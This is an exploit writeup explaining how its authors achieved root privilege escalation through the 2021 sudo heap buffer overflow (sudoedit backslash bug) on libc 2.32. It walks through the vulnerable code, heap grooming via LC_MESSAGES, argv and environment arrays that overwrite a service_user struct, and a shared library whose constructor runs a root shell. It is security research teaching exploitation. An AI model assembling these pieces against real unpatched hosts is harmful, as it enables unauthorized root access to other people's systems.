Sudo Exploit Writeup

Share on:

Overview

Writeup by: Zanderdk

Introduction

On the 2021-01-26 qualy released this article describing a “new” (actually 10 year old) bug in sudo that allows an attacker to do privilege escalation though a heap buffer overflow. Unfortunately they did not release exploit/POC so I decided to build one myself and failed. It turned out that Pewz from the CTF team bootplug had the same thought and our combined forces allowed us to successfully exploit this bug on the newest libc 2.32 in an arch environment with sudo version 1.9.4p2.

Vulnerability

I will only briefly cover the vulnerability here as it’s quite well described in the article.

In an essence an attacker can overflow a heap chunk by inserting a single backslash at the end of any argv or env argument given to sudo, causing the following argument to be written out of bound. Let’s look at a simplified version of one of the code snippets from the article.

for (size = 0, av = NewArgv + 1; *av; av++)
  size += strlen(*av) + 1;
...
if (size == 0 || (user_args = malloc(size)) == NULL) {
  //do some stuff we don't care about
}
...
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
  while (*from) {
    if (from[0] == '\\' && !isspace((unsigned char)from[1]))
      from++;
    *to++ = *from++;
    }
    *to++ = ' ';
}

As we see in the first for loop we are iterating over each argument and finding the size (plus null terminator) of it using strlen. Now lets say we have the string "AAAA\\" (\\ is one char).

The size will be 5 and it will only do an allocation of 5 bytes assuming this is the only argument.

In the next part we have a outer for loop over arguments and an inner loop copying the contents of all the arguments into the single buffer, user_args, essentially concatenating all arguments.

Considering the same string as before, "AAAA\\", when we hit from[0]=='\\' we go into the if and increment from by from++, incrementing from so it points to the null terminator. After that we continue the loop with the next statement *to++ = *from++; copying the null terminator and again incrementing from to continue copying bytes after the null terminator we continue copying out of bounds.

This happens because it expects that every \\ is followed by a meta-character, which the authors came up with a clever way of avoiding, leaving this vulnerable to a overflow. Read the article if you want to know why and how we can end up having a single \\ in the args when entering this block.

By using the symbolic link sudoedit to sudo we can make this happen:

sudo exploit overflowing

Properties of the overflow

The authors state 3 important properties about this overflow which make it quite powerful.

First and simplest we control the allocation size of user_args as we chose how many and how long we make the arguments to sudo.

Second we control the contents of the overflowed area. This we can achieve by using the supplied environment variables. The environment variables is infact stored right after the last argument passed to sudoedit meaning that if we do env -i 'A=BBBB' sudoedit -s 'CCCCCCCCCCCCCCCC' we insert the C’s into the user_args buffer and A=BBBB will follow in the out of bounds area. Be aware that chunk size’s align to sizes of 0x10 so e.g. env -i 'A=BB' sudoedit -s 'CCCCBBBBBBBB' will only fill the buffer.

If you paid close attention to the inner loop in our concatenation block you probably noticed that we can exploit this multiple times. By ending a environment variable with \\ we can make another skip to the next environment variable. So why would we like that? Because as the from++ increments the pointer to the null terminator on the following to++ = *from++; it will insert that null terminator. This makes us able to insert 0x0 as well without ending the overflow making this overflow extremely powerful.

Example from the authors:

env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'

This will end up like this in the buffer:

--|--------+--------+--------+--------|--------+--------+--------+--------+--
  |        |        |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
              size  <---- user_args buffer ---->  size      fd       bk

So we wont go into what forward (fd) or backwards (bk) pointers of a heap chunk mean as we are only exploiting in use memory. Super short and oversimplified description:

  • the first size is the size of the following chunk. It is equal to 0x10 + argument given to malloc as we also need space for size itself and alignment/previous size.
  • the next size is the contiguous chunks size.
  • fd and bk are pointers to the next and previous chunk respectively in this linked list of freed chunks. This only applies to freed chunks. Otherwise this space is available to the caller of malloc.

If you want to know more about this topic I strongly encourage you to read the Azeria’s blog about heap exploitation.

Now an important note to make here about the null terminator insertion I think the original paper lacks is that we can insert multiple contiguous null bytes as well.

First thing to understand is that environment variables don’t have to in the form of SOMETHING=something_more. As everything else these are just char arrays and we can do what we can with them in C. as example:

char *args[] = { "/usr/bin/sudoedit", "-s", "AAAAAAAA", NULL };
char *env[] = { "BBBBBBBB", "\\", "\\", "CCCCCCCC", NULL };
execve("/usr/bin/sudoedit", argv, env);

Here we are using execve to execute the process with full control of the environment variables. In the inner for loop we run into the if statement at ´"\\“´ and by that skipping one char by from++ the backslash and only inserting the null jumping onto the next ´”\\“´ and consequently inserting two null bytes in a row.

Exploitation

While the authors mention 3 possible targets here in this writeup we will only cover the second one.

Reasons:

  • no brute-force involved in contrast to the first option where they partially overflow a function pointer defeating ASLR with brute-force.
  • They state that they did it successfully for 3 operating systems where both the other two were only one.

In the second option we try to overflow into a service_user struct stored on the heap.

typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object.  */
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;

This struct is used in the nss_load_library of libc quite often after the overflow happens for loading new dynamically linked libraries, and can we overflow the name filed then we control what library to load. Then we can target some non privileged library we can craft that will run with the privileges of root. :-)

The function looks like this:

static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,
				     ni->name);
      if (ni->library == NULL)
	return -1;
    }

  if (ni->library->lib_handle == NULL)
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3
		      + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;
      char shlib_name[shlen];

      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
					      "libnss_"),
				    ni->name),
			  ".so"),
		__nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);
      //continue long long function

The goal with this function is to hit the ni->library->lib_handle = __libc_dlopen(shlib_name) loading a new library we control.

Here there are two things to be aware of the first the one mentioned in the article. If ni->library is not NULL we will use that pointer in the ni->library->lib_handle and as ASLR is a bitch we can’t predict a valid pointer without a leak which we don’t have. Fortunately there is a initial case for this struct where if this is null we set it by ni->library = nss_new_service (.... Now the multiple null byte write comes in handy!

Then we just need to overflow this struct all the way to it’s name field to change it to an unprivileged library we control.

The second challenge is that we have this next pointer struct service_user *next; inside the struct forming a linked list that will be traversed when the loading happens. So if we accidentally overflow another service_user struct in the process we will write a garbage pointer if we overflow with fx A’s leading to a seg fault. This can be circumvented by inserting null bytes in that spot but that creates another problem, we now break the linked list and our target struct could now be completely removed from the list leaving no pointers to it in the entire memory space.

This means that we have to target the first struct in the linked list that comes after our allocated area. This turned out to be the biggest challenge to overcome as you can imagine this requires pretty good control of the heap allocation.

In the article they target a service_user with the name systemd which we by no means were able to target. So we set a breakpoint just before the allocation to inspect the linked list. Then we search for systemd and traverse the list backwards until we find the first service_user close to our allocation. (Combined with some trial and error overflowing of A’s to see what struct it crashes on :-))

Here I show the different service_user names in memory and below vmmaps listed in same order. As seen on the picture the second vmmap corresponds to a systemd in the offset at 0x47e0 from heap base. Here a problem clearly arises as we see another service_user in the list just before that 0x4790 with only 0x50 space in between so 0 space between the two struct. This makes it impossible to target this one but we could just go for the one just before. :-) But why not target some of the others fx some of the 0x2000 struct? well… you simply could not make a allocation that would be that early on the heap.

Struct Overview

Heap Grooming

So how do we get an allocation into this memory area close to our target? So this task did not seem clear from the article, it sounds like they “brute-forced” a lot of tries and until they get a crash in the resolve. Please feel free to contact our team/me if that is incorrect.

Anyway we did not feel like trying a shit ton of different allocations. They do however mention a clever way of making an allocation very early on in the sudo process that we control the size of.

This trick uses the fact that setlocale is called as one of the first things, and as they state:

At line 154, in setlocale(), we malloc()ate and free() several LC environment variables (LC_CTYPE, LC_MESSAGES, LC_TIME, etc), thereby creating small holes at the very beginning of Sudo’s heap (free fast or tcache chunks);

This seamed as a neat trick and we explored this by breaking in setlocale and all the following free’s to inspect what sized chunks will be free.

First interesting free:

LD_MESSAGES free one

Second interesting free:

LD_MESSAGES free two

Now the second one actually gets malloced and freed again shortly after if not inside setlocale. This made me believe that it is more unreliable than the first one (could be that it’s just as stable).

But interestingly we found no other free’s of the other LC variables as expected from the article, this could very much be libc dependent or something entirely different i’m not into locales.

That means we only have this single allocation to play with. This is both sad as there is now fewer possible mallocs to play with but also limits the search space.

Now you remember that thing about forward and backwards pointers I said we should not care about. Yeah.. now we need that knowledge. So here comes worlds quickest introduction to heap bins.

In fact free’d chunk’s are not stored in a single linked list but split over multiple linked lists sorted by size of the chunks in side. And to make matters worse we have 5 different kinds lists:

  • tcache for super fast allocations with small sizes ranging from 0x20 to 0x408
  • fast bins also super fast allocations from 0x20 to 0x80
  • small bins small allocations bigger than both tcache and fastbins
  • large bins large variable size chunks
  • unsorted bin a single bin containing chunks not yet sorted into other bins

We will only focus on tcache and fast bins as chunks in the other bins have the possibility to consolidating, meaning that contiguous chunks can merge into one larger chunk which make predicting the state of the bins later on much harder. In these two categories of bins there exist a bin per 0x10 increment in chunk size. (bin==linked list; btw)

Now we want to allocate a chunk using the LC_MESSAGE and free it again in setlocale to make this chunk available to use later when we do the overflow. In that way we get a chunk far up the heap.

I did not want chunks from bins that was freed earlier than my allocation, and chunks from bins still present when we do the final overflow allocation, as those could come from some other place in sudo.

So breaking in the end of setlocale and just before the final allocation gives me an idea of what bins get used during sudo. Note that this doesn’t give a picture of all allocations, actually far from it, so there will still be some trial and error involved.

My attempt to illustrate the search space we will try first :-)

Bins search space

Now, this is a rough plan and I did not stick to it completely.

After surprisingly few attempts we got this chunk in our available just before the overflow allocation:

allocation

The upper one is our allocation and below is the target string mymachine. Only 0x4790 - 0x4370 == 0x420 bytes apart. Nice that seems doable and it indeed is.

Now we just need to overflow with nulls until we hit the struct and reassemble the same struct with ni-library nulled and another name.

allocation

We first do the allocation by setting the args like the following to match the size found before. The allocation as stated before depends on the length of first argument supplied to sudoedit. We will try to match this size to the chunk freed by LC_MESSAGE. [check with original]

		char *args[] = {
			"/usr/bin/sudoedit",
			"-s",
			"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAA\\",
			NULL
		}; //B and A's to match the chunk size we want freed in the beginning

We then create a long list of environment variables to put in null’s and end it with the fake service_user struct:

		char *extra_args[] = {
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\x01\\",
			"\\",
			"\\",
			"\x01\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"\\",
			"X/X\\",
			"a",
			"LC_MESSAGES=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
			NULL,
		};

This sequence of _stpcpy’s in nss_load_library will then create the path libnss_X/X.so.2 based on the X/X\\ arg above:

      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
					      "libnss_"),
				    ni->name),
			  ".so"),
		__nss_shlib_revision);

Now we just need to create a library to load which is trivial. We just create a small library with an init function setting id’s (not sure if needed) and executing /bin/sh resulting in a root shell at the time of ld_open in nss_load_library. Compile with gcc -Os -Wall -Wextra -fPIC -shared nss.c -o X.so.2.

#include <stdlib.h>
#include <stddef.h>
#include <unistd.h>

static int __attribute__((constructor)) ___init(void)
{
  char *argv[2] = {"sh", NULL};

  setuid(0);
  setgid(0);
  seteuid(0);
  setegid(0);
  return execve("/bin/sh", argv, NULL);
}

I was so happy to se this!! nss loading our shell

Shell finally popping :D

nss loading our shell

Conclusion

The final exploit is 100% reliable and works with ASLR enabled for my environment with libc 2.32 as also found in ubuntu 20.10, and could probably be reworked for many distributions quite easily. We are not releasing the final exploit code at the moment due to many systems still being vulnerable. Thanks to all the researchers involved in finding this bug and exploiting it. Impressive work!